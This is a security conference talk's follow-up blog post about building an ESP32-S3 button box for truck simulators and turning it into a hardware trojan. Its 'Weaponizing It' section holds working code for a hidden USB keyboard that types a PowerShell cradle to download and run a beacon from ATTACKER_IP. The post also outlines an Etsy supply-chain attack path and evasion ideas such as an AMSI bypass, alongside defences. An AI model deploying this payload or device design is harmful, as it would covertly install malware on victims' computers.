Press X to PWN

The Trojan Button Box

This is a follow-up blog from my talk at BsidesMKE 2026 Press X to PWN. The full slides are available here and the full talk is now available on YouTube.

It Started with Factorio

I discovered my love for automation playing Factorio. Then I couldn't back up my boat trailer in real life, so I started playing American Truck Simulator (at least that's what I tell my wife). Add Microsoft Flight Simulator for working towards a pilot's license, and suddenly I had a sim racing addiction.

Some people say video games are a waste of time. But it's not a waste of time if you enjoy it. And simulators? You're actually learning something. There's a whole movie about a guy who went from Gran Turismo to professional racing driver. Simulators - cheaper than therapy.

The Rig Evolution

I started looking at Honeycomb flight controls and Logitech pedals. Too expensive. Settled on a Logitech G923 wheel and shifter, added a handbrake, threw it in front of an old 55" TV.

Then I wanted more buttons.

SimHub, SimDashboard on a tablet, Stream Deck... all options. But a Stream Deck is $150. What if I just built my own?

The ESP32 Rabbit Hole

I'd already been down the ESP32 rabbit hole:

  • Air quality sensor (PM2.5/PM10) from sensor.community

  • WLED for RGB LED strips

  • Deauth detector with ESP8266 (presented at DEF CON Hardware Hacking Village)

  • Meshtastic for off-grid mesh networking

The ESP32-S3 caught my attention. Native USB HID support. $10. No drivers needed. Just plug in and it shows up as a game controller.

Building the Button Box

Parts list:

  • ESP32-S3-DevKitC-1 (N16R8) - $10-15

  • Toggle switches - $8-10

  • Momentary push buttons - $3

  • 4-position ignition switch - $8

  • Pull switches - $5

  • 3D printed case (shoutout to z0civic on Thingiverse)

Total: ~$50

Wiring

All switches wire the same way:

  • One terminal to GPIO pin

  • Other terminal to GND

  • Use INPUT_PULLUP (built-in resistors, no external components needed)

No soldering required. Breadboard, jumper wires, and prayers.

The Code

Using the Joystick_ESP32S2 library:

#include <Joystick_ESP32S2.h>

Joystick_ Joystick(
  JOYSTICK_DEFAULT_REPORT_ID,
  JOYSTICK_TYPE_GAMEPAD,
  15,    // 15 buttons
  0,     // 0 hat switches
  false, false, false, false, false, false,
  false, false, false, false, false
);

void setup() {
  pinMode(buttonPin, INPUT_PULLUP);
  Joystick.begin();
}

void loop() {
  bool state = digitalRead(buttonPin);
  Joystick.setButton(0, state == LOW ? 1 : 0);
  delay(10);
}

A few gotchas:

  • Debouncing: Mechanical switches bounce. Add a 50ms delay to ignore noise.

  • Pulse mode: For toggle switches like parking brake, ATS expects a momentary press. Send a quick pulse on state change instead of holding.

  • Ignition switch: 4 positions (OFF → ACC → IGN → START) required some logic to map correctly.

Then I Realized Something

This thing is basically a Rubber Ducky that actually does something useful.

The ESP32-S3 can register as multiple USB HID devices simultaneously. Same device shows up as a gamepad AND a keyboard. Windows trusts both. No prompts, no warnings.

Weaponizing It

Adding the hidden keyboard:

#include <USB.h>
#include <USBHIDKeyboard.h>
#include <Joystick_ESP32S2.h>

USBHIDKeyboard Keyboard;
Joystick_ Joystick(...);

void launchPayload() {
  // Win + R
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  delay(100);
  Keyboard.releaseAll();
  delay(400);
  
  // PowerShell cradle
  Keyboard.print("powershell -w hidden -ep bypass -c \"IWR http://ATTACKER_IP:8000/beacon.exe -OutFile $env:TEMP\\b.exe; Start-Process $env:TEMP\\b.exe\"");
  delay(100);
  
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
}

Now one button deploys a C2 beacon.

The Attack Path

  1. Attacker builds button box

  2. Lists on Etsy / Amazon / eBay

  3. Victim buys "cool sim racing accessory"

  4. Uses it for months, works perfectly

  5. One button silently deploys beacon

  6. Attacker has shell

  7. Victim never knows

This isn't theoretical. Supply chain attacks are happening constantly - LiteLLM, Trivy, SolarWinds, XZ Utils. Now imagine hardware.

Keeping It Honest

Our POC opens the Windows Run dialog. Visible. Not exactly stealthy.

But:

  • It still works

  • User isn't expecting it

  • Happens fast

Future improvements:

  • Time delay (fire when idle)

  • Fire when screen locks

  • Faster execution

  • AMSI bypass

Defense

  • USB device whitelisting (GPO)

  • Block unknown HID devices

  • Endpoint detection for rapid keystrokes

  • Physical security awareness

  • Don't buy random peripherals from Etsy

Cost Comparison

Device

Cost

Rubber Ducky

$100

O.MG Cable

$120

Stream Deck

$150

Trojan Button Box

$10-50

And mine plays ATS.

Build Your Own

Code, wiring diagrams, and 3D print files on GitHub:
https://github.com/rzagrodnik-infocus/ats-button-box